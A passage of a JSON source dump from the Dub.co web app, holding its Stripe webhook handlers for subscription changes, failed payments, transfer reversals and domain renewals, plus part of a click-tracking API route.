   tagsLimit: FREE_PLAN.limits.tags!,\n        foldersLimit: FREE_PLAN.limits.folders!,\n        groupsLimit: FREE_PLAN.limits.groups!,\n        networkInvitesLimit: FREE_PLAN.limits.networkInvites!,\n        usersLimit: FREE_PLAN.limits.users!,\n        paymentFailedAt: null,\n      },\n    }),\n\n    // disable dub.link premium default domain for the workspace\n    prisma.defaultDomains.update({\n      where: {\n        projectId: workspace.id,\n      },\n      data: {\n        dublink: false,\n      },\n    }),\n\n    // remove logo from all domains for the workspace\n    prisma.domain.updateMany({\n      where: {\n        projectId: workspace.id,\n      },\n      data: {\n        logo: null,\n      },\n    }),\n\n    // remove root domain link for all domains from MySQL\n    prisma.link.updateMany({\n      where: {\n        id: {\n          in: workspaceLinks.map(({ id }) => id),\n        },\n      },\n      data: {\n        url: \"\",\n      },\n    }),\n\n    // expire root domain link cache from Redis\n    linkCache.expireMany(workspaceLinks),\n\n    // record root domain link for all domains from Tinybird\n    recordLink(\n      workspaceLinks.map((link) => ({\n        ...link,\n        url: \"\",\n      })),\n    ),\n    // Log the deletion\n    log({\n      message:\n        \":cry: Workspace *`\" +\n        workspace.slug +\n        \"`* deleted their *`\" +\n        capitalize(workspace.plan) +\n        \"`* subscription\" +\n        (isBlacklistedCancellation ? \" (blacklisted / banned)\" : \"\"),\n      type: \"cron\",\n      mention: true,\n    }),\n\n    // Don't send feedback if the user was blacklisted / banned\n    !isBlacklistedCancellation &&\n      sendCancellationFeedback({\n        owners: workspaceUsers,\n      }),\n\n    // Disable the webhooks\n    prisma.webhook.updateMany({\n      where: {\n        projectId: workspace.id,\n      },\n      data: {\n        disabledAt: new Date(),\n      },\n    }),\n\n    prisma.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        webhookEnabled: false,\n      },\n    }),\n\n    // expire tokens cache\n    tokenCache.expireMany({\n      hashedKeys: workspace.restrictedTokens.map(({ hashedKey }) => hashedKey),\n    }),\n  ]);\n\n  // Update the webhooks cache\n  const webhooks = await prisma.webhook.findMany({\n    where: {\n      projectId: workspace.id,\n    },\n    select: {\n      id: true,\n      url: true,\n      secret: true,\n      triggers: true,\n      disabledAt: true,\n    },\n  });\n\n  await webhookCache.mset(webhooks);\n\n  await deleteWorkspaceFolders({\n    workspaceId: workspace.id,\n    defaultProgramId: workspace.defaultProgramId,\n  });\n\n  // Deactivate the program if the workspace had partner access\n  if (workspace.defaultProgramId) {\n    await deactivateProgram(workspace.defaultProgramId);\n  }\n\n  return `Workspace ${workspace.slug} subscription deleted; downgraded to free.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/customer-subscription-updated.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { getPlanAndTierFromPriceId } from \"@dub/utils\";\nimport Stripe from \"stripe\";\nimport { sendCancellationFeedback } from \"./utils/send-cancellation-feedback\";\nimport { updateWorkspacePlan } from \"./utils/update-workspace-plan\";\n\nexport async function customerSubscriptionUpdated(event: Stripe.Event) {\n  const subscriptionUpdated = event.data.object as Stripe.Subscription;\n  const priceId = subscriptionUpdated.items.data[0].price.id;\n\n  const { plan } = getPlanAndTierFromPriceId({ priceId });\n\n  if (!plan) {\n    return `Invalid price ID in customer.subscription.updated event: ${priceId}`;\n  }\n\n  const stripeId = subscriptionUpdated.customer.toString();\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeId,\n    },\n    select: {\n      id: true,\n      plan: true,\n      planTier: true,\n      paymentFailedAt: true,\n      payoutsLimit: true,\n      foldersUsage: true,\n      defaultProgramId: true,\n      users: {\n        select: {\n          user: {\n            select: {\n              email: true,\n              name: true,\n            },\n          },\n        },\n        where: {\n          role: \"owner\",\n          user: {\n            isMachine: false,\n          },\n        },\n      },\n      restrictedTokens: {\n        select: {\n          hashedKey: true,\n        },\n      },\n    },\n  });\n\n  if (!workspace) {\n    return `Workspace with Stripe ID ${stripeId} not found in customer.subscription.updated callback.`;\n  }\n\n  await updateWorkspacePlan({\n    workspace,\n    priceId,\n  });\n\n  const subscriptionCanceled =\n    subscriptionUpdated.status === \"active\" &&\n    subscriptionUpdated.cancel_at_period_end;\n\n  if (subscriptionCanceled) {\n    const owners = workspace.users.map(({ user }) => user);\n    const cancelReason = subscriptionUpdated.cancellation_details?.feedback;\n\n    await sendCancellationFeedback({\n      owners,\n      reason: cancelReason,\n    });\n    return `Updated workspace ${workspace.id} plan; cancellation at period end requested.`;\n  }\n\n  return `Updated workspace ${workspace.id} plan to ${plan.name}.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/invoice-payment-failed.tsx",
    "content": "import { sendEmail } from \"@dub/email\";\nimport FailedPayment from \"@dub/email/templates/failed-payment\";\nimport { prisma } from \"@dub/prisma\";\nimport Stripe from \"stripe\";\n\nexport async function invoicePaymentFailed(event: Stripe.Event) {\n  const {\n    customer: stripeId,\n    attempt_count: attemptCount,\n    amount_due: amountDue,\n  } = event.data.object as Stripe.Invoice;\n\n  if (!stripeId) {\n    return \"No customer found in invoice.payment_failed event.\";\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeId: stripeId.toString(),\n    },\n    select: {\n      id: true,\n      name: true,\n      slug: true,\n      plan: true,\n      defaultProgramId: true,\n      users: {\n        select: {\n          user: {\n            select: {\n              name: true,\n              email: true,\n            },\n          },\n        },\n        where: {\n          user: {\n            isMachine: false,\n          },\n        },\n      },\n    },\n  });\n\n  if (!workspace) {\n    return `Workspace with Stripe ID ${stripeId} not found in invoice.payment_failed event.`;\n  }\n\n  await Promise.allSettled([\n    prisma.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        paymentFailedAt: new Date(),\n      },\n    }),\n    ...workspace.users.map(({ user }) =>\n      sendEmail({\n        to: user.email as string,\n        subject: `${\n          attemptCount == 2\n            ? \"2nd notice: \"\n            : attemptCount == 3\n              ? \"3rd notice: \"\n              : \"\"\n        }Your payment for Dub.co failed`,\n        react: (\n          <FailedPayment\n            attemptCount={attemptCount}\n            amountDue={amountDue}\n            user={{\n              name: user.name,\n              email: user.email as string,\n            }}\n            workspace={workspace}\n          />\n        ),\n        variant: \"notifications\",\n      }),\n    ),\n  ]);\n\n  return `Recorded payment failure and sent ${workspace.users.length} notice(s) for workspace ${workspace.slug}.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/payment-intent-requires-action.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport Stripe from \"stripe\";\nimport { processDomainRenewalFailure } from \"./utils/process-domain-renewal-failure\";\nimport { processPayoutInvoiceFailure } from \"./utils/process-payout-invoice-failure\";\n\nexport async function paymentIntentRequiresAction(event: Stripe.Event) {\n  const { transfer_group: invoiceId, latest_charge: charge } = event.data\n    .object as Stripe.PaymentIntent;\n\n  if (!invoiceId) {\n    return \"No transfer group found, skipping...\";\n  }\n\n  let invoice = await prisma.invoice.findUnique({\n    where: {\n      id: invoiceId,\n    },\n  });\n\n  if (!invoice) {\n    return `Invoice with transfer group ${invoiceId} not found.`;\n  }\n\n  invoice = await prisma.invoice.update({\n    where: {\n      id: invoiceId,\n    },\n    data: {\n      status: \"failed\",\n      failedReason:\n        \"Your payment requires additional authentication to complete.\",\n      failedAttempts: {\n        increment: 1,\n      },\n    },\n  });\n\n  if (invoice.type === \"partnerPayout\") {\n    await processPayoutInvoiceFailure({ invoice });\n    return `Processed partner payout failure for invoice ${invoice.id}.`;\n  } else if (invoice.type === \"domainRenewal\") {\n    await processDomainRenewalFailure({ invoice });\n    return `Processed domain renewal failure for invoice ${invoice.id}.`;\n  }\n\n  return `Unsupported invoice type (${invoice.type}), skipping...`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/route.ts",
    "content": "import { stripe } from \"@/lib/stripe\";\nimport { log } from \"@dub/utils\";\nimport Stripe from \"stripe\";\nimport { logAndRespond } from \"../../cron/utils\";\nimport { chargeFailed } from \"./charge-failed\";\nimport { chargeRefunded } from \"./charge-refunded\";\nimport { chargeSucceeded } from \"./charge-succeeded\";\nimport { checkoutSessionCompleted } from \"./checkout-session-completed\";\nimport { customerSubscriptionDeleted } from \"./customer-subscription-deleted\";\nimport { customerSubscriptionUpdated } from \"./customer-subscription-updated\";\nimport { invoicePaymentFailed } from \"./invoice-payment-failed\";\nimport { paymentIntentRequiresAction } from \"./payment-intent-requires-action\";\nimport { transferReversed } from \"./transfer-reversed\";\n\nconst relevantEvents = new Set([\n  \"charge.succeeded\",\n  \"charge.failed\",\n  \"charge.refunded\",\n  \"checkout.session.completed\",\n  \"customer.subscription.updated\",\n  \"customer.subscription.deleted\",\n  \"invoice.payment_failed\",\n  \"payment_intent.requires_action\",\n  \"transfer.reversed\",\n]);\n\n// POST /api/stripe/webhook – listen to Stripe webhooks\nexport const POST = async (req: Request) => {\n  const buf = await req.text();\n  const sig = req.headers.get(\"Stripe-Signature\") as string;\n  const webhookSecret = process.env.STRIPE_WEBHOOK_SECRET;\n  let event: Stripe.Event;\n  try {\n    if (!sig || !webhookSecret) return;\n    event = stripe.webhooks.constructEvent(buf, sig, webhookSecret);\n  } catch (err: any) {\n    console.log(`❌ Error message: ${err.message}`);\n    return new Response(`Webhook Error: ${err.message}`, {\n      status: 400,\n    });\n  }\n\n  // Ignore unsupported events\n  if (!relevantEvents.has(event.type)) {\n    return new Response(\"Unsupported event, skipping...\", {\n      status: 200,\n    });\n  }\n\n  let response = \"OK\";\n  try {\n    switch (event.type) {\n      case \"charge.succeeded\":\n        response = await chargeSucceeded(event);\n        break;\n      case \"charge.failed\":\n        response = await chargeFailed(event);\n        break;\n      case \"charge.refunded\":\n        response = await chargeRefunded(event);\n        break;\n      case \"checkout.session.completed\":\n        response = await checkoutSessionCompleted(event);\n        break;\n      case \"customer.subscription.updated\":\n        response = await customerSubscriptionUpdated(event);\n        break;\n      case \"customer.subscription.deleted\":\n        response = await customerSubscriptionDeleted(event);\n        break;\n      case \"invoice.payment_failed\":\n        response = await invoicePaymentFailed(event);\n        break;\n      case \"payment_intent.requires_action\":\n        response = await paymentIntentRequiresAction(event);\n        break;\n      case \"transfer.reversed\":\n        response = await transferReversed(event);\n        break;\n    }\n  } catch (error) {\n    await log({\n      message: `Stripe webhook failed (${event.type}). Error: ${error.message}`,\n      type: \"errors\",\n    });\n    return new Response(`Webhook error: ${error.message}`, {\n      status: 400,\n    });\n  }\n\n  return logAndRespond(`[${event.type}]: ${response}`);\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/transfer-reversed.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { pluralize } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nexport async function transferReversed(event: Stripe.Event) {\n  const stripeTransfer = event.data.object as Stripe.Transfer;\n\n  // when transfer is reversed on Stripe, we update any sent payouts with matching stripeTransferId to:\n  // - set the status to processed (so it can be resent to the partner later)\n  // - reset the stripeTransferId + stripePayoutId, stripePayoutTraceId, failureReason (if any)\n  const updatedPayouts = await prisma.payout.updateMany({\n    where: {\n      stripeTransferId: stripeTransfer.id,\n      status: {\n        in: [\"sent\", \"failed\"],\n      },\n    },\n    data: {\n      status: \"processed\",\n      stripeTransferId: null,\n      stripePayoutId: null,\n      stripePayoutTraceId: null,\n      failureReason: null,\n    },\n  });\n\n  return `Updated ${updatedPayouts.count} ${pluralize(\n    \"payout\",\n    updatedPayouts.count,\n  )} to \"processed\" status for Stripe transfer ${stripeTransfer.id}.`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/utils/process-domain-renewal-failure.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { setRenewOption } from \"@/lib/dynadot/set-renew-option\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport DomainExpired from \"@dub/email/templates/domain-expired\";\nimport DomainRenewalFailed from \"@dub/email/templates/domain-renewal-failed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\n\nexport async function processDomainRenewalFailure({\n  invoice,\n}: {\n  invoice: Invoice;\n}) {\n  const domains = await prisma.registeredDomain.findMany({\n    where: {\n      slug: {\n        in: invoice.registeredDomains as string[],\n      },\n    },\n    select: {\n      slug: true,\n      expiresAt: true,\n    },\n  });\n\n  const workspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      id: invoice.workspaceId,\n    },\n    include: {\n      users: {\n        where: {\n          role: \"owner\",\n        },\n        select: {\n          user: true,\n        },\n      },\n    },\n  });\n\n  const workspaceOwners = workspace.users.filter(({ user }) => user.email);\n\n  // Domain renewal failed 3 times:\n  // 1. Turn off auto-renew for the domains on Dynadot\n  // 2. Disable auto-renew for the domains on Dub\n  // 3. Send email to the workspace users\n  if (invoice.failedAttempts >= 3) {\n    await Promise.allSettled(\n      domains.map((domain) =>\n        setRenewOption({\n          domain: domain.slug,\n          autoRenew: false,\n        }),\n      ),\n    );\n\n    const updateDomains = await prisma.registeredDomain.updateMany({\n      where: {\n        slug: {\n          in: domains.map(({ slug }) => slug),\n        },\n      },\n      data: {\n        autoRenewalDisabledAt: new Date(),\n      },\n    });\n\n    console.log(\n      `Updated autoRenewalDisabledAt for ${updateDomains.count} domains.`,\n    );\n\n    if (workspaceOwners.length > 0) {\n      await sendBatchEmail(\n        workspaceOwners.map(({ user }) => ({\n          variant: \"notifications\",\n          to: user.email!,\n          subject: \"Domain expired\",\n          react: DomainExpired({\n            email: user.email!,\n            workspace: {\n              name: workspace.name,\n              slug: workspace.slug,\n            },\n            domains,\n          }),\n        })),\n      );\n    }\n  }\n\n  // We'll retry the invoice 3 times, if it fails 3 times, we'll turn off auto-renew for the domains\n  if (invoice.failedAttempts < 3) {\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/invoices/retry-failed`,\n      delay: 3 * 24 * 60 * 60, // 3 days in seconds\n      deduplicationId: `${invoice.id}-attempt-${invoice.failedAttempts + 1}`,\n      body: {\n        invoiceId: invoice.id,\n      },\n    });\n\n    if (workspaceOwners.length > 0) {\n      await sendBatchEmail(\n        workspaceOwners.map(({ user }) => ({\n          variant: \"notifications\",\n          to: user.email!,\n          subject: \"Domain renewal failed\",\n          react: DomainRenewalFailed({\n            email: user.email!,\n            workspace: {\n              slug: workspace.slug,\n            },\n            domains,\n          }),\n        })),\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/utils/process-payout-invoice-failure.ts",
    "content": "import {\n  DIRECT_DEBIT_PAYMENT_METHOD_TYPES,\n  PAYOUT_FAILURE_FEE_CENTS,\n} from \"@/lib/constants/payouts\";\nimport { createPaymentIntent } from \"@/lib/stripe/create-payment-intent\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport PartnerPayoutFailed from \"@dub/email/templates/partner-payout-failed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice } from \"@dub/prisma/client\";\nimport { log } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport Stripe from \"stripe\";\n\nexport async function processPayoutInvoiceFailure({\n  invoice,\n  charge,\n}: {\n  invoice: Invoice;\n  charge?: Stripe.Charge;\n}) {\n  await log({\n    message: `Partner payout failed for invoice ${invoice.id}.`,\n    type: \"errors\",\n    mention: true,\n  });\n\n  // reset the payouts to their initial state\n  const { count } = await prisma.payout.updateMany({\n    where: {\n      invoiceId: invoice.id,\n    },\n    data: {\n      status: \"pending\",\n      userId: null,\n      invoiceId: null,\n      initiatedAt: null,\n      paidAt: null,\n      mode: null,\n    },\n  });\n\n  console.log(\n    `Reset ${count} payouts to their initial state for invoice ${invoice.id}`,\n  );\n\n  const workspace = await prisma.project.update({\n    where: {\n      id: invoice.workspaceId,\n    },\n    // Reduce the payoutsUsage by the invoice amount since the charge failed\n    data: {\n      payoutsUsage: {\n        decrement: invoice.amount,\n      },\n    },\n    include: {\n      users: {\n        select: {\n          user: {\n            select: {\n              email: true,\n            },\n          },\n        },\n      },\n      programs: {\n        select: {\n          name: true,\n        },\n      },\n    },\n  });\n\n  if (!workspace.stripeId) {\n    console.log(\"Workspace does not have a Stripe ID, skipping...\");\n    return;\n  }\n\n  const paymentMethod =\n    charge &&\n    charge.payment_method_details &&\n    DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(\n      charge.payment_method_details.type as Stripe.PaymentMethod.Type,\n    )\n      ? \"direct_debit\"\n      : \"card\";\n\n  let chargedFailureFee = false;\n  let cardLast4: string | undefined;\n\n  // Charge failure fee for direct debit payment failures (excluding blocked charges)\n  if (paymentMethod === \"direct_debit\") {\n    const isBlocked = charge?.outcome?.type === \"blocked\";\n\n    if (!isBlocked) {\n      const { paymentIntent, paymentMethod } = await createPaymentIntent({\n        stripeId: workspace.stripeId,\n        amount: PAYOUT_FAILURE_FEE_CENTS,\n        description: `Dub Partners payout failure fee for invoice ${invoice.id}`,\n        statementDescriptor: \"Dub Partners\",\n      });\n\n      if (paymentIntent) {\n        chargedFailureFee = true;\n        console.log(\n          `Charged a failure fee of $${PAYOUT_FAILURE_FEE_CENTS / 100} to ${workspace.slug}.`,\n        );\n      }\n\n      if (paymentMethod?.card) {\n        cardLast4 = paymentMethod.card.last4;\n      }\n    } else {\n      console.log(\n        `Skipped charging failure fee for blocked direct debit charge on invoice ${invoice.id}.`,\n      );\n    }\n  }\n\n  waitUntil(\n    (async () => {\n      // Send email to the workspace users about the failed payout\n      const emailData = workspace.users\n        .filter((user) => user.user.email)\n        .map((user) => ({\n          email: user.user.email!,\n          workspace: {\n            slug: workspace.slug,\n          },\n          program: {\n            name: workspace.programs[0].name,\n          },\n          payout: {\n            amount: invoice.total,\n            method: paymentMethod as \"card\" | \"direct_debit\",\n            failedReason: invoice.failedReason,\n            ...(chargedFailureFee && {\n              failureFee: PAYOUT_FAILURE_FEE_CENTS,\n              cardLast4,\n            }),\n          },\n        }));\n\n      if (emailData.length === 0) {\n        console.log(\"No users found to send email, skipping...\");\n        return;\n      }\n\n      await sendBatchEmail(\n        emailData.map((data) => ({\n          variant: \"notifications\",\n          subject: \"Partner payout failed\",\n          to: data.email,\n          react: PartnerPayoutFailed(data),\n        })),\n      );\n    })(),\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/utils/send-cancellation-feedback.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport Stripe from \"stripe\";\n\nconst cancellationReasonMap = {\n  customer_service: \"you had a bad experience with our customer service\",\n  low_quality: \"the product didn't meet your expectations\",\n  missing_features: \"you were expecting more features\",\n  switched_service: \"you switched to a different service\",\n  too_complex: \"the product was too complex\",\n  too_expensive: \"the product was too expensive\",\n  unused: \"you didn't use the product\",\n};\n\nexport async function sendCancellationFeedback({\n  owners,\n  reason,\n}: {\n  owners: {\n    name: string | null;\n    email: string | null;\n  }[];\n  reason?: Stripe.Subscription.CancellationDetails.Feedback | null;\n}) {\n  const reasonText = reason ? cancellationReasonMap[reason] : \"\";\n\n  return await Promise.all(\n    owners.map(\n      (owner) =>\n        owner.email &&\n        sendEmail({\n          to: owner.email,\n          from: \"Steven Tey <steven@dub.co>\",\n          replyTo: \"steven.tey@dub.co\",\n          subject: \"Feedback for Dub.co?\",\n          text: `Hey ${owner.name ? owner.name.split(\" \")[0] : \"there\"}!\\n\\nSaw you canceled your Dub subscription${reasonText ? ` and mentioned that ${reasonText}` : \"\"} – do you mind sharing if there's anything we could've done better on our side?\\n\\nWe're always looking to improve our product offering so any feedback would be greatly appreciated!\\n\\nThank you so much in advance!\\n\\nBest,\\nSteven Tey\\nFounder, Dub.co`,\n          headers: {\n            \"Idempotency-Key\": `cancellation-feedback-${owner.email}`,\n          },\n        }),\n    ),\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/webhook/utils/update-workspace-plan.ts",
    "content": "import { deleteWorkspaceFolders } from \"@/lib/api/folders/delete-workspace-folders\";\nimport { deactivateProgram } from \"@/lib/api/programs/deactivate-program\";\nimport { tokenCache } from \"@/lib/auth/token-cache\";\nimport { syncUserPlanToPlain } from \"@/lib/plain/sync-user-plan\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { wouldLosePartnerAccess } from \"@/lib/plans/has-partner-access\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { webhookCache } from \"@/lib/webhook/cache\";\nimport { prisma } from \"@dub/prisma\";\nimport { getPlanAndTierFromPriceId } from \"@dub/utils\";\nimport { NEW_BUSINESS_PRICE_IDS } from \"@dub/utils/src\";\nimport { waitUntil } from \"@vercel/functions\";\n\nexport async function updateWorkspacePlan({\n  workspace,\n  priceId,\n}: {\n  workspace: Pick<\n    WorkspaceProps,\n    | \"id\"\n    | \"planTier\"\n    | \"paymentFailedAt\"\n    | \"payoutsLimit\"\n    | \"foldersUsage\"\n    | \"defaultProgramId\"\n  > & {\n    plan: string;\n    restrictedTokens: {\n      hashedKey: string;\n    }[];\n  };\n  priceId: string;\n}) {\n  const { plan: newPlan, planTier: newPlanTier } = getPlanAndTierFromPriceId({\n    priceId,\n  });\n  if (!newPlan) return;\n\n  const newPlanName = newPlan.name.toLowerCase();\n  const shouldDisableWebhooks = newPlanName === \"free\" || newPlanName === \"pro\";\n\n  const { canManageProgram, canMessagePartners } =\n    getPlanCapabilities(newPlanName);\n\n  // If a workspace upgrades/downgrades their subscription\n  // or if the payouts limit increases and the updated price ID is a new business price ID\n  // update their usage limit in the database\n  if (\n    workspace.plan !== newPlanName ||\n    workspace.planTier !== newPlanTier ||\n    (workspace.payoutsLimit < newPlan.limits.payouts &&\n      NEW_BUSINESS_PRICE_IDS.includes(priceId))\n  ) {\n    const [updatedWorkspace] = await Promise.allSettled([\n      prisma.project.update({\n        where: {\n          id: workspace.id,\n        },\n        data: {\n          plan: newPlanName,\n          planTier: newPlanTier,\n          usageLimit: newPlan.limits.clicks,\n          linksLimit: newPlan.limits.links,\n          payoutsLimit: newPlan.limits.payouts,\n          domainsLimit: newPlan.limits.domains,\n          aiLimit: newPlan.limits.ai,\n          tagsLimit: newPlan.limits.tags,\n          foldersLimit: newPlan.limits.folders,\n          groupsLimit: newPlan.limits.groups,\n          networkInvitesLimit: newPlan.limits.networkInvites,\n          usersLimit: newPlan.limits.users,\n          paymentFailedAt: null,\n        },\n        include: {\n          users: {\n            where: {\n              role: \"owner\",\n            },\n            select: {\n              user: {\n                select: {\n                  id: true,\n                  name: true,\n                  email: true,\n                },\n              },\n            },\n            orderBy: {\n              createdAt: \"asc\",\n            },\n            take: 1,\n          },\n        },\n      }),\n\n      // expire tokens cache\n      tokenCache.expireMany({\n        hashedKeys: workspace.restrictedTokens.map(\n          ({ hashedKey }) => hashedKey,\n        ),\n      }),\n\n      // if workspace has a program, need to update deactivatedAt and messagingEnabledAt columns based on the plan capabilities\n      ...(workspace.defaultProgramId\n        ? [\n            prisma.program.update({\n              where: {\n                id: workspace.defaultProgramId,\n              },\n              data: {\n                deactivatedAt: canManageProgram ? null : undefined,\n                messagingEnabledAt: canMessagePartners ? new Date() : null,\n              },\n            }),\n          ]\n        : []),\n    ]);\n\n    // Disable the webhooks if the new plan does not support webhooks\n    if (shouldDisableWebhooks) {\n      await Promise.all([\n        prisma.project.update({\n          where: {\n            id: workspace.id,\n          },\n          data: {\n            webhookEnabled: false,\n          },\n        }),\n\n        prisma.webhook.updateMany({\n          where: {\n            projectId: workspace.id,\n          },\n          data: {\n            disabledAt: new Date(),\n          },\n        }),\n      ]);\n\n      // Update the webhooks cache\n      const webhooks = await prisma.webhook.findMany({\n        where: {\n          projectId: workspace.id,\n        },\n        select: {\n          id: true,\n          url: true,\n          secret: true,\n          triggers: true,\n          disabledAt: true,\n        },\n      });\n\n      await webhookCache.mset(webhooks);\n    }\n\n    // Delete the folders if the new plan is free\n    // For downgrade from Business → Pro, it should be fine since we're accounting that to make sure all folders get write access.\n    if (newPlanName === \"free\") {\n      await deleteWorkspaceFolders({\n        workspaceId: workspace.id,\n        defaultProgramId: workspace.defaultProgramId,\n      });\n    }\n\n    // Deactivate the program if the workspace loses partner access (Business/Enterprise -> Pro/Free)\n    if (\n      wouldLosePartnerAccess({\n        currentPlan: workspace.plan,\n        newPlan: newPlanName,\n      })\n    ) {\n      if (workspace.defaultProgramId) {\n        await deactivateProgram(workspace.defaultProgramId);\n      }\n    }\n\n    if (\n      updatedWorkspace.status === \"fulfilled\" &&\n      updatedWorkspace.value.users.length\n    ) {\n      const workspaceOwner = updatedWorkspace.value.users[0].user;\n      waitUntil(syncUserPlanToPlain(workspaceOwner));\n    }\n  } else if (workspace.paymentFailedAt) {\n    await prisma.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        paymentFailedAt: null,\n      },\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/track/click/route.ts",
    "content": "import { allowedHostnamesCache } from \"@/lib/analytics/allowed-hostnames-cache\";\nimport {\n  getHostnameFromRequest,\n  verifyAnalyticsAllowedHostnames,\n} from \"@/lib/analytics/verify-analytics-allowed-hostnames\";\nimport { COMMON_CORS_HEADERS } from \"@/lib/api/cors\";\nimport { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { recordClickCache } from \"@/lib/api/links/record-click-cache\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withAxiom } from \"@/lib/axiom/server\";\nimport { getIdentityHash } from \"@/lib/middleware/utils/get-identity-hash\";\nimport { getWorkspaceViaEdge } from \"@/lib/planetscale\";\nimport { getLinkWithPartner } from \"@/lib/planetscale/get-link-with-partner\";\nimport { recordClick } from \"@/lib/tinybird\";\nimport { RedisLinkProps } from \"@/lib/types\";\nimport { formatRedisLink, redis, redisGlobalWithTimeout } from \"@/lib/upstash\";\nimport { DiscountSchema } from \"@/lib/zod/schemas/discount\";\nimport { PartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { getDomainWithoutWWW, isValidUrl, nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst trackClickSchema = z.object({\n  domain: z.preprocess(\n    (val) => getDomainWithoutWWW(val as string),\n    z.string({ error: \"domain is required.\" }),\n  ),\n  key: z.string({ error: \"key is required.\" }),\n  url: z.string().nullish(),\n  referrer: z.string().nullish(),\n});\n\nconst trackClickResponseSchema = z.object({\n  clickId: z.string(),\n  partner: PartnerSchema.pick({\n    id: true,\n    name: true,\n    image: true,\n  })\n    .extend({\n      groupId: z.string().nullish(),\n      tenantId: z.string().nullish(),\n    })\n    .nullish(),\n  discount: DiscountSchema.pick({\n    id: true,\n    amount: true,\n    type: true,\n    maxDuration: true,\n    couponId: true,\n    couponTestId: true,\n  }).nullish(),\n});\n\n// POST /api/track/click – Track a click event for a link\nexport const POST = withAxiom(async (req) => {\n  try {\n    const { domain, key, url, referrer } = trackClickSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const identityHash = await getIdentityHash(req);\n\n    let [redisGlobalResults, cachedAllowedHostnames] = await Promise.all([\n      redisGlobalWithTimeout\n        .mget<\n          [string | null, RedisLinkProps | null]\n        >([recordClickCache._createKey({ domain, key, identityHash }), linkCache._createKey({ domain, key })])\n        .catch(() => [null, null] as [string | null, RedisLinkProps | null]),\n\n      redis.get<string[]>(allowedHostnamesCache._createKey({ domain })),\n    ]);\n\n    let [cachedClickId, cachedLink] = redisGlobalResults;\n\n    // assign a new clickId if there's no cached clickId\n    // else, reuse the cached clickId\n    const clickId = cachedClickId ?? nanoid(16);\n\n    if (!cachedLink) {\n      const link = await getLinkWithPartner({\n        domain,\n        key,\n      });\n\n      if (!link) {\n        throw new DubApiError({\n          code: \"not_found\",\n          message: `Link not found for domain: ${domain} and key: ${key}.`,\n        });\n      }\n\n      cachedLink = formatRedisLink(link as any);\n\n      waitUntil(linkCache.set(link as any));\n    }\n\n    if (!cachedLink.projectId) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"Link does not belong to a workspace.\",\n      });\n    }\n\n    const finalUrl = url\n      ? isValidUrl(url)\n        ? url\n        : cachedLink.url\n      : cachedLink.url;\n\n    // if there's no cached clickId, track the click event\n    if (!cachedClickId) {\n      if (!cachedAllowedHostnames) {\n        const workspace = await getWorkspaceViaEdge({\n          workspaceId: cachedLink.projectId,\n          includeDomains: true,\n        });\n\n        cachedAllowedHostnames = (workspace?.allowedHostnames ??\n          []) as string[];\n\n        waitUntil(\n          allowedHostnamesCache.mset({\n            allowedHostnames: JSON.stringify(cachedAllowedHostnames),\n            domains: workspace?.domains.map(({ slug }) => slug) ?? [],\n          }),\n        );\n      }\n\n      const allowRequest = verifyAnalyticsAllowedHostnames({\n        allowedHostnames: cachedAllowedHostnames,\n        req,\n      });\n\n      if (!allowRequest) {\n        throw new DubApiError({\n          code: \"forbidden\",\n          message: `Request origin '${getHostnameFromRequest(req)}' is not included in the allowed hostnames for this workspace. Update your allowed hostnames here: https://app.dub.co/settings/tracking`,\n        });\n      }\n\n      await recordClick({\n        req,\n        clickId,\n        workspaceId: cachedLink.projectId,\n        linkId: cachedLink.id,\n        domain,\n        key,\n        url: finalUrl,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        skipRatelimit: true,\n        ...(referrer && { referrer }),\n        shouldCacheClickId: true,\n      });\n    }\n\n    const isPartnerLink = Boolean(cachedLink.programId && cachedLink.partnerId);\n    const { partner = null, discount = null } = cachedLink;\n\n    const response = trackClickResponseSchema.parse({\n      clickId,\n      ...(isPartnerLink && {\n        partner,\n        discount: discount\n          ? {\n              ...discount,\n              // Support backwards 